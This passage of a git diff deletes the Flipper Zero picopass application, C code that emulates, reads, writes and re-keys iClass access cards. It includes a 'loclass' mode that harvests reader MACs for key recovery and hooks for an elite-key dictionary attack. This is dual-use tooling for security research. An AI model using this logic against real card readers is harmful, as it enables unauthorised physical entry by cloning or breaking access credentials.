CSN - ctx->key_block_num = (ctx->key_block_num + 1) % (LOCLASS_NUM_CSNS * 2); - loclass_update_csn(nfc_data, nfcv_data, ctx); - - ctx->state = PicopassEmulatorStateIdle; - - return; - } - - uint8_t key[RFAL_PICOPASS_BLOCK_LEN]; - picopass_emu_read_blocks(nfcv_data, key, ctx->key_block_num, 1); - - uint8_t rmac[4]; - loclass_opt_doBothMAC_2(ctx->cipher_state, nfcv_data->frame + 1, rmac, response, key); - - if(memcmp(nfcv_data->frame + 5, rmac, 4)) { - // Bad MAC from reader, do not send a response. - FURI_LOG_I(TAG, "Got bad MAC from reader"); -#ifndef PICOPASS_DEBUG_IGNORE_BAD_RMAC - return; -#endif - } - - // CHIPRESPONSE(4) - response_length = 4; - break; - case RFAL_PICOPASS_CMD_UPDATE: // ADDRESS(1) DATA(8) SIGN(4)|CRC16(2) - if((nfcv_data->frame_length != 12 && nfcv_data->frame_length != 14) || - ctx->state != PicopassEmulatorStateSelected) { - return; - } - - if(nfcv_data->frame[1] >= PICOPASS_MAX_APP_LIMIT) { - return; - } - - uint8_t cfgBlock[RFAL_PICOPASS_BLOCK_LEN]; - picopass_emu_read_blocks(nfcv_data, cfgBlock, PICOPASS_CONFIG_BLOCK_INDEX, 1); - bool persMode = HAS_MASK(cfgBlock[7], PICOPASS_FUSE_PERS); - - if((nfcv_data->frame[1] == PICOPASS_CSN_BLOCK_INDEX) // CSN is always read only - || - (!persMode && - !HAS_MASK(cfgBlock[3], 0x80)) // Chip is in RO mode, no updated possible (even ePurse) - || (!persMode && - nfcv_data->frame[1] == - PICOPASS_SECURE_AIA_BLOCK_INDEX) // AIA can only be set in personalisation mode - || (!persMode && - (nfcv_data->frame[1] == PICOPASS_SECURE_KD_BLOCK_INDEX || - nfcv_data->frame[1] == PICOPASS_SECURE_KC_BLOCK_INDEX) && - (!HAS_MASK(cfgBlock[7], PICOPASS_FUSE_CRYPT10)))) { - return; // TODO: Is this the right response? - } - - if(nfcv_data->frame[1] >= 6 && nfcv_data->frame[1] <= 12) { - if(!HAS_MASK( - cfgBlock[3], - 1 << (nfcv_data->frame[1] - 6))) { // bit0 is block6, up to bit6 being block12 - // Block is marked as read-only, deny writing - return; // TODO: Is this the right response? - } - } - - // TODO: Check CRC/SIGN depending on if in secure mode - // Check correct key - // -> Kd only allows decrementing e-Purse - // -> per-app controlled by key access config - //bool keyAccess = HAS_MASK(cfgBlock[5], 0x01); - // -> must auth with that key to change it - - uint8_t blockOffset = nfcv_data->frame[1]; - uint8_t block[RFAL_PICOPASS_BLOCK_LEN]; - switch(nfcv_data->frame[1]) { - case PICOPASS_CONFIG_BLOCK_INDEX: - block[0] = cfgBlock[0]; // Applications Limit - block[1] = cfgBlock[1] & nfcv_data->frame[3]; // OTP - block[2] = cfgBlock[2] & nfcv_data->frame[4]; // OTP - block[3] = cfgBlock[3] & nfcv_data->frame[5]; // Block Write Lock - block[4] = cfgBlock[4]; // Chip Config - block[5] = cfgBlock[5]; // Memory Config - block[6] = nfcv_data->frame[8]; // EAS - block[7] = cfgBlock[7]; // Fuses - - // Some parts allow w (but not e) if in persMode - if(persMode) { - block[0] &= nfcv_data->frame[2]; // Applications Limit - block[4] &= nfcv_data->frame[6]; // Chip Config - block[5] &= nfcv_data->frame[7]; // Memory Config - block[7] &= nfcv_data->frame[9]; // Fuses - } else { - // Fuses allows setting Crypt1/0 from 1 to 0 only during application mode - block[7] &= nfcv_data->frame[9] | ~PICOPASS_FUSE_CRYPT10; - } - break; - case PICOPASS_SECURE_EPURSE_BLOCK_INDEX: - // ePurse updates swap first and second half of the block each update - memcpy(block + 4, nfcv_data->frame + 2, 4); - memcpy(block, nfcv_data->frame + 6, 4); - break; - case PICOPASS_SECURE_KD_BLOCK_INDEX: - // fallthrough - case PICOPASS_SECURE_KC_BLOCK_INDEX: - if(!persMode) { - picopass_emu_read_blocks(nfcv_data, block, blockOffset, 1); - for(uint8_t i = 0; i < sizeof(RFAL_PICOPASS_BLOCK_LEN); i++) - block[i] ^= nfcv_data->frame[i + 2]; - break; - } - // Use default case when in personalisation mode - // fallthrough - default: - memcpy(block, nfcv_data->frame + 2, RFAL_PICOPASS_BLOCK_LEN); - break; - } - - picopass_emu_write_blocks(nfcv_data, block, blockOffset, 1); - - if((nfcv_data->frame[1] == ctx->key_block_num || - nfcv_data->frame[1] == PICOPASS_SECURE_EPURSE_BLOCK_INDEX) && - !ctx->loclass_mode) - picopass_init_cipher_state(nfcv_data, ctx); - - // DATA(8) CRC16(2) - if(nfcv_data->frame[1] == PICOPASS_SECURE_KD_BLOCK_INDEX || - nfcv_data->frame[1] == PICOPASS_SECURE_KD_BLOCK_INDEX) { - // Key updates always return FF's - memcpy(response, block_ff, RFAL_PICOPASS_BLOCK_LEN); - } else { - memcpy(response, block, RFAL_PICOPASS_BLOCK_LEN); - } - picopass_append_crc(response, RFAL_PICOPASS_BLOCK_LEN); - response_length = RFAL_PICOPASS_BLOCK_LEN + 2; - break; - case RFAL_PICOPASS_CMD_PAGESEL: // PAGE(1) CRC16(2) - // Chips with a single page do not answer to this command - // BLOCK1(8) CRC16(2) - return; - case RFAL_PICOPASS_CMD_DETECT: - // TODO - not used by iClass though - return; - default: - return; - } - - NfcVSendFlags flags = NfcVSendFlagsSof | NfcVSendFlagsOneSubcarrier | NfcVSendFlagsHighRate; - if(response_length > 0) { - flags |= NfcVSendFlagsEof; - } - - nfcv_emu_send( - tx_rx, - nfcv_data, - response, - response_length, - flags, - nfcv_data->eof_timestamp + NFCV_FDT_FC(4000)); // 3650 is ~254uS 4000 is ~283uS -} - -void picopass_worker_emulate(PicopassWorker* picopass_worker, bool loclass_mode) { - furi_hal_nfc_exit_sleep(); - - FuriHalNfcTxRxContext tx_rx = {}; - PicopassEmulatorCtx emu_ctx = { - .state = PicopassEmulatorStateIdle, - .key_block_num = PICOPASS_SECURE_KD_BLOCK_INDEX, - .loclass_mode = loclass_mode, - .loclass_got_std_key = false, - .loclass_writer = NULL, - }; - FuriHalNfcDevData nfc_data = { - .uid_len = RFAL_PICOPASS_UID_LEN, - }; - NfcVData* nfcv_data = malloc(sizeof(NfcVData)); - nfcv_data->block_size = RFAL_PICOPASS_BLOCK_LEN; - nfcv_data->emu_protocol_ctx = &emu_ctx; - nfcv_data->emu_protocol_handler = &picopass_emu_handle_packet; - - PicopassDeviceData* dev_data = picopass_worker->dev_data; - PicopassBlock* blocks = dev_data->AA1; - - if(loclass_mode) { - // Setup blocks for loclass attack - emu_ctx.key_block_num = 0; - loclass_update_csn(&nfc_data, nfcv_data, &emu_ctx); - - uint8_t conf[8] = {0x12, 0xFF, 0xFF, 0xFF, 0x7F, 0x1F, 0xFF, 0x3C}; - picopass_emu_write_blocks(nfcv_data, conf, PICOPASS_CONFIG_BLOCK_INDEX, 1); - - uint8_t epurse[8] = {0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; - picopass_emu_write_blocks(nfcv_data, epurse, PICOPASS_SECURE_EPURSE_BLOCK_INDEX, 1); - - uint8_t aia[8] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; - picopass_emu_write_blocks(nfcv_data, aia, PICOPASS_SECURE_AIA_BLOCK_INDEX, 1); - - emu_ctx.loclass_writer = loclass_writer_alloc(); - loclass_writer_write_start_stop(emu_ctx.loclass_writer, true); - } else { - memcpy(nfc_data.uid, blocks[PICOPASS_CSN_BLOCK_INDEX].data, RFAL_PICOPASS_BLOCK_LEN); - memcpy(nfcv_data->data, blocks, sizeof(dev_data->AA1)); - picopass_init_cipher_state(nfcv_data, &emu_ctx); - } - - uint8_t last_loclass_csn_num = 0; - bool loclass_got_std_key = false; - - nfcv_emu_init(&nfc_data, nfcv_data); - while(picopass_worker->state == PicopassWorkerStateEmulate || - picopass_worker->state == PicopassWorkerStateLoclass) { - if(nfcv_emu_loop(&tx_rx, &nfc_data, nfcv_data, 500)) { - if(picopass_worker->callback) { - if((loclass_mode) && (last_loclass_csn_num != emu_ctx.key_block_num)) { - last_loclass_csn_num = emu_ctx.key_block_num; - picopass_worker->callback( - PicopassWorkerEventLoclassGotMac, picopass_worker->context); - } else if((loclass_mode) && !loclass_got_std_key && emu_ctx.loclass_got_std_key) { - loclass_got_std_key = true; - picopass_worker->callback( - PicopassWorkerEventLoclassGotStandardKey, picopass_worker->context); - } else { - picopass_worker->callback( - PicopassWorkerEventSuccess, picopass_worker->context); - } - } - } - } - - if(emu_ctx.loclass_writer) { - loclass_writer_write_start_stop(emu_ctx.loclass_writer, false); - loclass_writer_free(emu_ctx.loclass_writer); - } - - nfcv_emu_deinit(nfcv_data); - free(nfcv_data); -} diff --git a/applications/external/picopass/picopass_worker.h b/applications/external/picopass/picopass_worker.h deleted file mode 100644 index 642e4c962..000000000 --- a/applications/external/picopass/picopass_worker.h +++ /dev/null @@ -1,56 +0,0 @@ -#pragma once - -#include "picopass_device.h" -#include "picopass_keys.h" - -typedef struct PicopassWorker PicopassWorker; - -typedef enum { - // Init states - PicopassWorkerStateNone, - PicopassWorkerStateBroken, - PicopassWorkerStateReady, - // Main worker states - PicopassWorkerStateDetect, - PicopassWorkerStateWrite, - PicopassWorkerStateWriteKey, - PicopassWorkerStateEliteDictAttack, - PicopassWorkerStateEmulate, - PicopassWorkerStateLoclass, - // Transition - PicopassWorkerStateStop, -} PicopassWorkerState; - -typedef enum { - // Reserve first 50 events for application events - PicopassWorkerEventReserved = 50, - - // Picopass worker common events - PicopassWorkerEventSuccess, - PicopassWorkerEventFail, - PicopassWorkerEventNoCardDetected, - PicopassWorkerEventSeEnabled, - PicopassWorkerEventAborted, - PicopassWorkerEventCardDetected, - PicopassWorkerEventNewDictKeyBatch, - PicopassWorkerEventNoDictFound, - PicopassWorkerEventLoclassGotMac, - PicopassWorkerEventLoclassGotStandardKey, -} PicopassWorkerEvent; - -typedef void (*PicopassWorkerCallback)(PicopassWorkerEvent event, void* context); - -PicopassWorker* picopass_worker_alloc(); - -PicopassWorkerState picopass_worker_get_state(PicopassWorker* picopass_worker); - -void picopass_worker_free(PicopassWorker* picopass_worker); - -void picopass_worker_start( - PicopassWorker* picopass_worker, - PicopassWorkerState state, - PicopassDeviceData* dev_data, - PicopassWorkerCallback callback, - void* context); - -void picopass_worker_stop(PicopassWorker* picopass_worker); diff --git a/applications/external/picopass/picopass_worker_i.h b/applications/external/picopass/picopass_worker_i.h deleted file mode 100644 index 5e51b1cc6..000000000 --- a/applications/external/picopass/picopass_worker_i.h +++ /dev/null @@ -1,36 +0,0 @@ -#pragma once - -#include "picopass_worker.h" -#include "loclass_writer.h" -#include "picopass_i.h" - -#include -#include - -#include - -#include -#include - -#include - -struct PicopassWorker { - FuriThread* thread; - Storage* storage; - Stream* dict_stream; - - PicopassDeviceData* dev_data; - PicopassWorkerCallback callback; - void* context; - - PicopassWorkerState state; -}; - -void picopass_worker_change_state(PicopassWorker* picopass_worker, PicopassWorkerState state); - -int32_t picopass_worker_task(void* context); - -void picopass_worker_detect(PicopassWorker* picopass_worker); -void picopass_worker_write(PicopassWorker* picopass_worker); -void picopass_worker_write_key(PicopassWorker* picopass_worker); -void picopass_worker_emulate(PicopassWorker* picopass_worker, bool loclass_mode); diff --git a/applications/external/picopass/rfal_picopass.c b/applications/external/picopass/rfal_picopass.c deleted file mode 100644 index 1d45a48dc..000000000 --- a/applications/external/picopass/rfal_picopass.c +++ /dev/null @@ -1,213 +0,0 @@ -#include "rfal_picopass.h" - -#define RFAL_PICOPASS_TXRX_FLAGS \ - (FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_TX_MANUAL | FURI_HAL_NFC_LL_TXRX_FLAGS_AGC_ON | \ - FURI_HAL_NFC_LL_TXRX_FLAGS_PAR_RX_REMV | FURI_HAL_NFC_LL_TXRX_FLAGS_CRC_RX_KEEP) - -#define TAG "RFAL_PICOPASS" - -typedef struct { - uint8_t CMD; - uint8_t CSN[RFAL_PICOPASS_UID_LEN]; -} rfalPicoPassSelectReq; - -typedef struct { - uint8_t CMD; - uint8_t null[4]; - uint8_t mac[4]; -} rfalPicoPassCheckReq; - -static uint16_t rfalPicoPassUpdateCcitt(uint16_t crcSeed, uint8_t dataByte) { - uint16_t crc = crcSeed; - uint8_t dat = dataByte; - - dat ^= (uint8_t)(crc & 0xFFU); - dat ^= (dat << 4); - - crc = (crc >> 8) ^ (((uint16_t)dat) << 8) ^ (((uint16_t)dat) << 3) ^ (((uint16_t)dat) >> 4); - - return crc; -} - -uint16_t rfalPicoPassCalculateCcitt(uint16_t preloadValue, const uint8_t* buf, uint16_t length) { - uint16_t crc = preloadValue; - uint16_t index; - - for(index = 0; index < length; index++) { - crc = rfalPicoPassUpdateCcitt(crc, buf[index]); - } - - return crc; -} - -FuriHalNfcReturn rfalPicoPassPollerInitialize(void) { - FuriHalNfcReturn ret; - - ret = furi_hal_nfc_ll_set_mode( - FuriHalNfcModePollPicopass, FuriHalNfcBitrate26p48, FuriHalNfcBitrate26p48); - if(ret != FuriHalNfcReturnOk) { - return ret; - }; - - furi_hal_nfc_ll_set_error_handling(FuriHalNfcErrorHandlingNfc); - furi_hal_nfc_ll_set_guard_time(FURI_HAL_NFC_LL_GT_PICOPASS); - furi_hal_nfc_ll_set_fdt_listen(FURI_HAL_NFC_LL_FDT_LISTEN_PICOPASS_POLLER); - furi_hal_nfc_ll_set_fdt_poll(FURI_HAL_NFC_LL_FDT_POLL_PICOPASS_POLLER); - - return FuriHalNfcReturnOk; -} - -FuriHalNfcReturn rfalPicoPassPollerCheckPresence(void) { - FuriHalNfcReturn ret; - uint8_t txBuf[1] = {RFAL_PICOPASS_CMD_ACTALL}; - uint8_t rxBuf[32] = {0}; - uint16_t recvLen = 0; - uint32_t flags = RFAL_PICOPASS_TXRX_FLAGS; - uint32_t fwt = furi_hal_nfc_ll_ms2fc(20); - - ret = furi_hal_nfc_ll_txrx(txBuf, 1, rxBuf, 32, &recvLen, flags, fwt); - return ret; -} - -FuriHalNfcReturn rfalPicoPassPollerIdentify(rfalPicoPassIdentifyRes* idRes) { - FuriHalNfcReturn ret; - - uint8_t txBuf[1] = {RFAL_PICOPASS_CMD_READ_OR_IDENTIFY}; - uint16_t recvLen = 0; - uint32_t flags = RFAL_PICOPASS_TXRX_FLAGS; - uint32_t fwt = furi_hal_nfc_ll_ms2fc(20); - - ret = furi_hal_nfc_ll_txrx( - txBuf, - sizeof(txBuf), - (uint8_t*)idRes, - sizeof(rfalPicoPassIdentifyRes), - &recvLen, - flags, - fwt); - // printf("identify rx: %d %s\n", recvLen, hex2Str(idRes->CSN, RFAL_PICOPASS_UID_LEN)); - - return ret; -} - -FuriHalNfcReturn rfalPicoPassPollerSelect(uint8_t* csn, rfalPicoPassSelectRes* selRes) { - FuriHalNfcReturn ret; - - rfalPicoPassSelectReq selReq; - selReq.CMD = RFAL_PICOPASS_CMD_SELECT; - memcpy(selReq.CSN, csn, RFAL_PICOPASS_UID_LEN); - uint16_t recvLen = 0; - uint32_t flags = RFAL_PICOPASS_TXRX_FLAGS; - uint32_t fwt = furi_hal_nfc_ll_ms2fc(20); - - ret = furi_hal_nfc_ll_txrx( - (uint8_t*)&selReq, - sizeof(rfalPicoPassSelectReq), - (uint8_t*)selRes, - sizeof(rfalPicoPassSelectRes), - &recvLen, - flags, - fwt); - // printf("select rx: %d %s\n", recvLen, hex2Str(selRes->CSN, RFAL_PICOPASS_UID_LEN)); - if(ret == FuriHalNfcReturnTimeout) { - return FuriHalNfcReturnOk; - } - - return ret; -} - -FuriHalNfcReturn rfalPicoPassPollerReadCheck(rfalPicoPassReadCheckRes* rcRes) { - FuriHalNfcReturn ret; - uint8_t txBuf[2] = {RFAL_PICOPASS_CMD_READCHECK_KD, 0x02}; - uint16_t recvLen = 0; - uint32_t flags = RFAL_PICOPASS_TXRX_FLAGS; - uint32_t fwt = furi_hal_nfc_ll_ms2fc(20); - - ret = furi_hal_nfc_ll_txrx( - txBuf, - sizeof(txBuf), - (uint8_t*)rcRes, - sizeof(rfalPicoPassReadCheckRes), - &recvLen, - flags, - fwt); - // printf("readcheck rx: %d %s\n", recvLen, hex2Str(rcRes->CCNR, 8)); - - if(ret == FuriHalNfcReturnCrc) { - return FuriHalNfcReturnOk; - } - - return ret; -} - -FuriHalNfcReturn rfalPicoPassPollerCheck(uint8_t* mac, rfalPicoPassCheckRes* chkRes) { - FuriHalNfcReturn ret; - rfalPicoPassCheckReq chkReq; - chkReq.CMD = RFAL_PICOPASS_CMD_CHECK; - memcpy(chkReq.mac, mac, 4); - memset(chkReq.null, 0, 4); - uint16_t recvLen = 0; - uint32_t flags = RFAL_PICOPASS_TXRX_FLAGS; - uint32_t fwt = furi_hal_nfc_ll_ms2fc(20); - - // printf("check tx: %s\n", hex2Str((uint8_t *)&chkReq, sizeof(rfalPicoPassCheckReq))); - ret = furi_hal_nfc_ll_txrx( - (uint8_t*)&chkReq, - sizeof(rfalPicoPassCheckReq), - (uint8_t*)chkRes, - sizeof(rfalPicoPassCheckRes), - &recvLen, - flags, - fwt); - // printf("check rx: %d %s\n", recvLen, hex2Str(chkRes->mac, 4)); - if(ret == FuriHalNfcReturnCrc) { - return FuriHalNfcReturnOk; - } - - return ret; -} - -FuriHalNfcReturn rfalPicoPassPollerReadBlock(uint8_t blockNum, rfalPicoPassReadBlockRes* readRes) { - FuriHalNfcReturn ret; - - uint8_t txBuf[4] = {RFAL_PICOPASS_CMD_READ_OR_IDENTIFY, 0, 0, 0}; - txBuf[1] = blockNum; - uint16_t crc = rfalPicoPassCalculateCcitt(0xE012, txBuf + 1, 1); - memcpy(txBuf + 2, &crc, sizeof(uint16_t)); - - uint16_t recvLen = 0; - uint32_t flags = RFAL_PICOPASS_TXRX_FLAGS; - uint32_t fwt = furi_hal_nfc_ll_ms2fc(20); - - ret = furi_hal_nfc_ll_txrx( - txBuf, - sizeof(txBuf), - (uint8_t*)readRes, - sizeof(rfalPicoPassReadBlockRes), - &recvLen, - flags, - fwt); - return ret; -} - -FuriHalNfcReturn rfalPicoPassPollerWriteBlock(uint8_t blockNum, uint8_t data[8], uint8_t mac[4]) { - FuriHalNfcReturn ret; - - uint8_t txBuf[14] = {RFAL_PICOPASS_CMD_UPDATE, blockNum, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; - memcpy(txBuf + 2, data, RFAL_PICOPASS_BLOCK_LEN); - memcpy(txBuf + 10, mac, 4); - - uint16_t recvLen = 0; - uint32_t flags = RFAL_PICOPASS_TXRX_FLAGS; - uint32_t fwt = furi_hal_nfc_ll_ms2fc(20); - rfalPicoPassReadBlockRes block; - - ret = furi_hal_nfc_ll_txrx( - txBuf, sizeof(txBuf), (uint8_t*)&block, sizeof(block), &recvLen, flags, fwt); - - if(ret == FuriHalNfcReturnOk) { - // TODO: compare response - } - - return ret; -} diff --git a/applications/external/picopass/rfal_picopass.h b/applications/external/picopass/rfal_picopass.h deleted file mode 100644 index 6265884d6..000000000 --- a/applications/external/picopass/rfal_picopass.h +++ /dev/null @@ -1,75 +0,0 @@ -#pragma once - -#include - -#define RFAL_PICOPASS_UID_LEN 8 -#define RFAL_PICOPASS_BLOCK_LEN 8 - -enum { - // PicoPass command bytes: - // Low nibble used for command - // High nibble used for options and checksum (MSB) - // The only option we care about in 15693 mode is the key - // which is only used by READCHECK, so for simplicity we - // don't bother breaking down the command and flags into parts - - // READ: ADDRESS(1) CRC16(2) -> DATA(8) CRC16(2) - // IDENTIFY: No args -> ASNB(8) CRC16(2) - RFAL_PICOPASS_CMD_READ_OR_IDENTIFY = 0x0C, - // ADDRESS(1) CRC16(2) -> DATA(32) CRC16(2) - RFAL_PICOPASS_CMD_READ4 = 0x06, - // ADDRESS(1) DATA(8) SIGN(4)|CRC16(2) -> DATA(8) CRC16(2) - RFAL_PICOPASS_CMD_UPDATE = 0x87, - // ADDRESS(1) -> DATA(8) - RFAL_PICOPASS_CMD_READCHECK_KD = 0x88, - // ADDRESS(1) -> DATA(8) - RFAL_PICOPASS_CMD_READCHECK_KC = 0x18, - // CHALLENGE(4) READERSIGNATURE(4) -> CHIPRESPONSE(4) - RFAL_PICOPASS_CMD_CHECK = 0x05, - // No args -> SOF - RFAL_PICOPASS_CMD_ACTALL = 0x0A, - // No args -> SOF - RFAL_PICOPASS_CMD_ACT = 0x8E, - // ASNB(8)|SERIALNB(8) -> SERIALNB(8) CRC16(2) - RFAL_PICOPASS_CMD_SELECT = 0x81, - // No args -> SERIALNB(8) CRC16(2) - RFAL_PICOPASS_CMD_DETECT = 0x0F, - // No args -> SOF - RFAL_PICOPASS_CMD_HALT = 0x00, - // PAGE(1) CRC16(2) -> BLOCK1(8) CRC16(2) - RFAL_PICOPASS_CMD_PAGESEL = 0x84, -}; - -typedef struct { - uint8_t CSN[RFAL_PICOPASS_UID_LEN]; // Anti-collision CSN - uint8_t crc[2]; -} rfalPicoPassIdentifyRes; - -typedef struct { - uint8_t CSN[RFAL_PICOPASS_UID_LEN]; // Real CSN - uint8_t crc[2]; -} rfalPicoPassSelectRes; - -typedef struct { - uint8_t CCNR[8]; -} rfalPicoPassReadCheckRes; - -typedef struct { - uint8_t mac[4]; -} rfalPicoPassCheckRes; - -typedef struct { - uint8_t data[RFAL_PICOPASS_BLOCK_LEN]; - uint8_t crc[2]; -} rfalPicoPassReadBlockRes; - -uint16_t rfalPicoPassCalculateCcitt(uint16_t preloadValue, const uint8_t* buf, uint16_t length); - -FuriHalNfcReturn rfalPicoPassPollerInitialize(void); -FuriHalNfcReturn rfalPicoPassPollerCheckPresence(void); -FuriHalNfcReturn rfalPicoPassPollerIdentify(rfalPicoPassIdentifyRes* idRes); -FuriHalNfcReturn rfalPicoPassPollerSelect(uint8_t* csn, rfalPicoPassSelectRes* selRes); -FuriHalNfcReturn rfalPicoPassPollerReadCheck(rfalPicoPassReadCheckRes* rcRes); -FuriHalNfcReturn rfalPicoPassPollerCheck(uint8_t* mac, rfalPicoPassCheckRes* chkRes); -FuriHalNfcReturn rfalPicoPassPollerReadBlock(uint8_t blockNum, rfalPicoPassReadBlockRes* readRes); -FuriHalNfcReturn rfalPicoPassPollerWriteBlock(uint8_t blockNum, uint8_t data[8], uint8_t mac[4]); diff --git a/applications/external/picopass/scenes/picopass_scene.c b/applications/external/picopass/scenes/picopass_scene.c deleted file mode 100644 index 61bd5e8fe..000000000 --- a/applications/external/picopass/scenes/picopass_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "picopass_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const picopass_on_enter_handlers[])(void*) = { -#include "picopass_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const picopass_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "picopass_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const picopass_on_exit_handlers[])(void* context) = { -#include "picopass_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers picopass_scene_handlers = { - .on_enter_handlers = picopass_on_enter_handlers, - .on_event_handlers = picopass_on_event_handlers, - .on_exit_handlers = picopass_on_exit_handlers, - .scene_num = PicopassSceneNum, -}; diff --git a/applications/external/picopass/scenes/picopass_scene.h b/applications/external/picopass/scenes/picopass_scene.h deleted file mode 100644 index 2faa80b12..000000000 --- a/applications/external/picopass/scenes/picopass_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) PicopassScene##id, -typedef enum { -#include "picopass_scene_config.h" - PicopassSceneNum, -} PicopassScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers picopass_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "picopass_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "picopass_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "picopass_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/picopass/scenes/picopass_scene_card_menu.c b/applications/external/picopass/scenes/picopass_scene_card_menu.c deleted file mode 100644 index fa4515db3..000000000 --- a/applications/external/picopass/scenes/picopass_scene_card_menu.c +++ /dev/null @@ -1,94 +0,0 @@ -#include "../picopass_i.h" - -enum SubmenuIndex { - SubmenuIndexSave, - SubmenuIndexSaveAsLF, - SubmenuIndexChangeKey, - SubmenuIndexWrite, - SubmenuIndexEmulate, -}; - -void picopass_scene_card_menu_submenu_callback(void* context, uint32_t index) { - Picopass* picopass = context; - - view_dispatcher_send_custom_event(picopass->view_dispatcher, index); -} - -void picopass_scene_card_menu_on_enter(void* context) { - Picopass* picopass = context; - Submenu* submenu = picopass->submenu; - - submenu_add_item( - submenu, "Save", SubmenuIndexSave, picopass_scene_card_menu_submenu_callback, picopass); - if(picopass->dev->dev_data.pacs.record.valid) { - submenu_add_item( - submenu, - "Save as LF", - SubmenuIndexSaveAsLF, - picopass_scene_card_menu_submenu_callback, - picopass); - } - submenu_add_item( - submenu, "Write", SubmenuIndexWrite, picopass_scene_card_menu_submenu_callback, picopass); - submenu_add_item( - submenu, - "Emulate", - SubmenuIndexEmulate, - picopass_scene_card_menu_submenu_callback, - picopass); - submenu_add_item( - submenu, - "Change Key", - SubmenuIndexChangeKey, - picopass_scene_card_menu_submenu_callback, - picopass); - - submenu_set_selected_item( - picopass->submenu, - scene_manager_get_scene_state(picopass->scene_manager, PicopassSceneCardMenu)); - - view_dispatcher_switch_to_view(picopass->view_dispatcher, PicopassViewMenu); -} - -bool picopass_scene_card_menu_on_event(void* context, SceneManagerEvent event) { - Picopass* picopass = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - if(event.event == SubmenuIndexSave) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneCardMenu, SubmenuIndexSave); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneSaveName); - picopass->dev->format = PicopassDeviceSaveFormatHF; - consumed = true; - } else if(event.event == SubmenuIndexSaveAsLF) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneCardMenu, SubmenuIndexSaveAsLF); - picopass->dev->format = PicopassDeviceSaveFormatLF; - scene_manager_next_scene(picopass->scene_manager, PicopassSceneSaveName); - consumed = true; - } else if(event.event == SubmenuIndexWrite) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneWriteCard); - consumed = true; - } else if(event.event == SubmenuIndexEmulate) { - scene_manager_next_scene(picopass->scene_manager, PicopassSceneEmulate); - consumed = true; - } else if(event.event == SubmenuIndexChangeKey) { - scene_manager_set_scene_state( - picopass->scene_manager, PicopassSceneCardMenu, SubmenuIndexChangeKey); - scene_manager_next_scene(picopass->scene_manager, PicopassSceneKeyMenu); - consumed = true; - } - } else if(event.type == SceneManagerEventTypeBack) { - consumed = scene_manager_search_and_switch_to_previous_scene( - picopass->scene_manager, PicopassSceneStart); - } - - return consumed; -} - -void picopass_scene_card_menu_on_exit(void* context) { - Picopass* picopass = context; - - submenu_reset(picopass->submenu); -} diff --git a/applications/external/picopass/scenes/picopass_scene_config.h b/applications/external/picopass/scenes/picopass_scene_config.h deleted file mode 100644 index 3241c2344..000000000 --- a/applications/external/picopass/scenes/picopass_scene_config.h +++ /dev/null @@ -1,21 +0,0 @@ -ADD_SCENE(picopass, start, Start) -ADD_SCENE(picopass, read_card, ReadCard) -ADD_SCENE(picopass, read_card_success, ReadCardSuccess) -ADD_SCENE(picopass, card_menu, CardMenu) -ADD_SCENE(picopass, save_name, SaveName) -ADD_SCENE(picopass, save_success, SaveSuccess) -ADD_SCENE(picopass, saved_menu, SavedMenu) -ADD_SCENE(picopass, file_select, FileSelect) -ADD_SCENE(picopass, device_info, DeviceInfo) -ADD_SCENE(picopass, delete, Delete) -ADD_SCENE(picopass, delete_success, DeleteSuccess) -ADD_SCENE(picopass, write_card, WriteCard) -ADD_SCENE(picopass, write_card_success, WriteCardSuccess) -ADD_SCENE(picopass, write_card_failure, WriteCardFailure) -ADD_SCENE(picopass, read_factory_success, ReadFactorySuccess) -ADD_SCENE(picopass, write_key, WriteKey) -ADD_SCENE(picopass, key_menu, KeyMenu) -ADD_SCENE(picopass, elite_dict_attack, EliteDictAttack) -ADD_SCENE(picopass, emulate, Emulate) -ADD_SCENE(picopass, loclass, Loclass) -ADD_SCENE(picopass, key_input, KeyInput) diff --git a/applications/external/picopass/scenes/picopass_scene_delete.c b/applications/external/picopass/scenes/picopass_scene_delete.c deleted file mode 100644 index fb23cb5d4..000000000 --- a/applications/external/picopass/scenes/picopass_scene_delete.c +++ /dev/null @@ -1,58 +0,0 @@ -#include "../picopass_i.h" - -void picopass_scene_delete_widget_callback(GuiButtonType result, InputType type, void* context) { - Picopass* picopass = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(picopass->view_dispatcher, result); - } -} - -void picopass_scene_delete_on_enter(void* context) { - Picopass* picopass = context; - - // Setup Custom Widget view - char temp_str[64]; - snprintf(temp_str, sizeof(temp_str), "\e#Delete %s?\e#", picopass->dev->dev_name); - widget_add_text_box_element( - picopass->widget, 0, 0, 128, 23, AlignCenter, AlignCenter, temp_str, false); - widget_add_button_element( - picopass->widget, - GuiButtonTypeLeft, - 